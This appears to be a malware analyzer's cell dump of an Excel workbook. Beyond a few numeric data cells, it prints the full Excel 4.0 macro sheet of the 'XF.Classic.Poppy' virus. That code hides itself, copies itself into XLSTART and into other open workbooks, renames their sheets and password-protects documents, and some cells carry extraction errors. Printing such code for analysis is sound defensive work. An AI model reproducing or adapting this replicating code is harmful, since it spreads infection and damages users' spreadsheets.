'  Sheet,J17,"",33.10000000000000142109
'  Sheet,L17,"",43.00000000000000000000
'  Sheet,J18,"",44.79999999999999715783
'  Sheet,L18,"",40.70001953124999971578
'  Sheet,J19,"",508.80000000000001136868
'  Sheet,L19,"",379.39999999999997726263
'  Sheet,J20,"",1.00000000000000000000
'  Sheet,L20,"",0.69999999999999995559
'  Sheet,J21,"",0.59999999999999997780
'  Sheet,L21,"",0.50000000000000000000
'  Sheet,J22,"",49.10000000000000142109
'  Sheet,L22,"",37.70001953124999971578
'  Sheet,J23,"",215.59999999999999431566
'  Sheet,L23,"",233.09999999999999431566
'  Sheet,J24,"",7.29999999999999982236
'  Sheet,L24,"",6.59999999999999964473
'  XL4Popp,C1,WORKBOOK.HIDE("XL4Poppy"),""
'  XL4Popp,C4,RUN(C18),""
'  XL4Popp,C5,"ERROR(TRUE,Continue)",""
'  XL4Popp,C6,IF(A4=3),""
'  XL4Popp,C7,RETURN(),""
'  XL4Popp,C8,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,C9,ERROR(FALSE),""
'  XL4Popp,C10,RUN(A21),""
'  XL4Popp,C11,"ON.TIME("6:30:00 PM","Hello")",""
'  XL4Popp,C12,"ON.TIME("6:30:00 AM","Morning")",""
'  XL4Popp,C13,"ON.SHEET(,"Poppy",TRUE)",""
'  XL4Popp,C14,RETURN(),""
'  XL4Popp,A15,"ALERT("XF.Classic.Poppy by VicodinES",2)",""
'  XL4Popp,A16,"ALERT("Ò$  1 9 9 8   T h e   N a r k o t i c   N e t w o r k ",2)",""
'  XL4Popp,A17,RETURN(),""
'  XL4Popp,C18,"SET.VALUE(A3,(GET.WORKSPACE(32)&"\xlstart\Book1."))",""
'  XL4Popp,C19,"SET.NAME("Document_array",DOCUMENTS())",""
'  XL4Popp,C20,"SET.VALUE(A1,INDEX(Document_array,2))",""
'  XL4Popp,A21,"IF(FILES(A3)="Book1.",0,99)",""
'  XL4Popp,C21,"SET.VALUE(A2,INDEX(Document_array,1))",""
'  XL4Popp,A22,"ERROR(TRUE,MakeIt)",""
'  XL4Popp,C22,"SET.VALUE(A4,GET.DOCUMENT(3,"["&A1&"]"&"XL4Poppy"))",""
'  XL4Popp,A23,IF(A21=0),""
'  XL4Popp,C23,RETURN(),""
'  XL4Popp,A24,RETURN(),""
'  XL4Popp,A25,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,A26,NEW(1),""
'  XL4Popp,A27,WORKBOOK.INSERT(1),""
'  XL4Popp,C27,RUN(C19),""
'  XL4Popp,A28,WORKBOOK.INSERT(1),""
'  XL4Popp,C28,"ERROR(TRUE,Bust)",""
'  XL4Popp,A29,ACTIVATE.PREV(),""
'  XL4Popp,C29,IF(A4=3),""
'  XL4Popp,A30,RUN(C18),""
'  XL4Popp,C30,RETURN(),""
'  XL4Popp,A31,"WORKBOOK.COPY("XL4Poppy",A1)",""
'  XL4Popp,C31,ERROR(FALSE),""
'  XL4Popp,A32,"WORKBOOK.NAME("Sheet3","Sheet99")",""
'  XL4Popp,C32,ACTIVATE.PREV(),""
'  XL4Popp,A33,"WORKBOOK.NAME("Sheet1","Sheet3")",""
'  XL4Popp,C33,RUN(C19),""
'  XL4Popp,A34,"WORKBOOK.NAME("Sheet99","Sheet1")",""
'  XL4Popp,C34,"WORKBOOK.COPY("XL4Poppy",A1)",""
'  XL4Popp,A35,"PROTECT.DOCUMENT(TRUE,,"VicodinES",TRUE)",""
'  XL4Popp,C35,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,A36,WORKBOOK.PREV(),""
'  XL4Popp,C36,RETURN(),""
'  XL4Popp,A37,WORKBOOK.PREV(),""
'  XL4Popp,A38,WORKBOOK.PREV(),""
'  XL4Popp,A39,SAVE.AS(A3),""
'  XL4Popp,C39,APP.TITLE("XF.Classic.Poppy"),""
'  XL4Popp,A40,FILE.CLOSE(),""
'  XL4Popp,C40,"MESSAGE(TRUE,"VicodinES and Lord Natas greet you a good morning!")",""
'  XL4Popp,A41,RETURN(),""
'  XL4Popp,C41,RETURN(),""

Open this report in the interactive analyzer, or submit your own file for analysis.